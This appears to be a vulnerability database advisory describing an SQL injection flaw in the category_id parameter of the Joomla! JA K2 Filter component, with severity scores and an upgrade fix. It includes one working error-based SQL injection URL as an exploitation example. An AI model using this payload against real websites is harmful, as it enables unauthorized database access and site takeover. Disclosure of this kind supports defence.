SQL injection in Joomla! JA K2 Filter Component - #VU3420

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Main Vulnerability Database Vulnerabilities #VU3420

SQL injection in Joomla! JA K2 Filter Component - #VU3420

Published: January 4, 2017


Vulnerability identifier: #VU3420
CSH Severity: Medium
CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/U:Green
CVE-ID: N/A
CWE-ID: CWE-89
Exploitation vector: Remote access
Exploit availability: No public exploit available
Vendor: JoomlArt.com
Affected software:
Joomla! JA K2 Filter Component

Detailed vulnerability description

The vulnerability allows a remote attacker to execute arbitrary SQL commands in vulnerable application.

The vulnerability exists due to insufficient sanitization of user-supplied data passed via "category_id" HTTP GET parameter to /index.php in ja-k2-filter-and-search component. A remote attacker can send a specially crafted HTTP request to vulnerable script and execute arbitrary SQL commands in web application database.

Successful exploitation may allow an attacker to gain complete control over vulnerable website.

Exploitation example: 

http://[host]/index.php?category_id=(select%201%20and%20row(1%2c1)%3E(select%20count(*)%2cconcat(concat(CHAR(52)%2cCHAR(67)%2cCHAR(117)%2cCHAR(117)%2cCHAR(82)%2cCHAR(57)%2cCHAR(71)%2cCHAR(65)%2cCHAR(77)%2cCHAR(98)%2cCHAR(77))%2cfloor(rand()*2))x%20from%20(select%201%20union%20select%202)a%20group%20by%20x%20limit%201))&Itemid=135&option=com_jak2filter&searchword=the&view=itemlist&xf_2=5%27
The vulnerability was reported in version 1.2.2. Prior versions may also be affected.

Remediation

Update to version 1.2.5.

Sources